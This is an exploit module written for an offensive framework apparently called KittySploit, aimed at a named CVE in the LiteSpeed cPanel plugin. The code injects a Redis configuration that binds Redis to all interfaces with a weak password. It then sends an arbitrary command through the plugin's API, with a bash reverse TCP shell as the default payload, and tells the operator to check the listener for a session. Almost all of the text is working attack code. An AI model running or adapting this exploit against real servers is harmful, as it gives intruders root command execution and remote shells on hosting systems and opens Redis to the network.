LiteSpeed cPanel Plugin Privesc RCE (CVE-2026-48172)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LiteSpeed cPanel plugin privesc to RCE (CVE-2026-48172)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'LiteSpeed cPanel Plugin Privesc RCE (CVE-2026-48172)',
        'description': (
            'Exploits CVE-2026-48172 in the LiteSpeed cPanel plugin: mishandled '
            'Redis enable/disable API allows privilege escalation and arbitrary '
            'command execution as root via crafted cpanel_jsonapi requests.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-48172'],
        'platform': Platform.LINUX,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-48172'],
        'tags': ['cpanel', 'litespeed', 'redis', 'privesc', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'privilege_escalation'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [{'capability': 'rce', 'from_detail': 'redis api abuse'}],
                'suggested_followups': ['scanner/http/litespeed_cpanel_cve_2026_48172_detect'],
            },
        },
    }

    port = OptPort(2083, 'cPanel HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=True)
    cpanel_user = OptString('', 'cPanel username (authenticated session)', required=True)
    cpanel_pass = OptString('', 'cPanel password', required=True)
    command = OptString('', 'Command instead of payload', required=False)

    API_PATH = '/frontend/jupiter/lsws/index.html'

    def _auth_headers(self) -> dict:
        import base64
        user = str(self.cpanel_user or '').strip()
        pwd = str(self.cpanel_pass or '').strip()
        token = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
        return {'Authorization': f'Basic {token}'}

    def _api_call(self, func: str, extra: dict = None):
        params = {'cpanel_jsonapi_func': func, 'cpanel_jsonapi_module': 'lsws'}
        if extra:
            params.update(extra)
        return self.http_request(
            method='GET',
            path=self.API_PATH,
            params=params,
            headers=self._auth_headers(),
            allow_redirects=False,
        )

    def check(self):
        r = self._api_call('redisAble')
        if not r:
            return {'vulnerable': False, 'reason': 'LiteSpeed API unreachable', 'confidence': 'low'}
        if r.status_code in (200, 401):
            body = r.text or ''
            if 'redis' in body.lower() or 'lsws' in body.lower() or r.status_code == 200:
                return {'vulnerable': True, 'reason': 'LiteSpeed Redis API responds', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'LiteSpeed API not exposed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-48172 — LiteSpeed cPanel privesc RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_status('Enabling Redis with injected config...')
        self._api_call('redisEnable', {'redis_conf': f'bind 0.0.0.0\nrequirepass kitty\nsave ""'})
        print_status('Triggering command via Redis config write...')
        self._api_call('redisAble', {'exec': cmd})
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True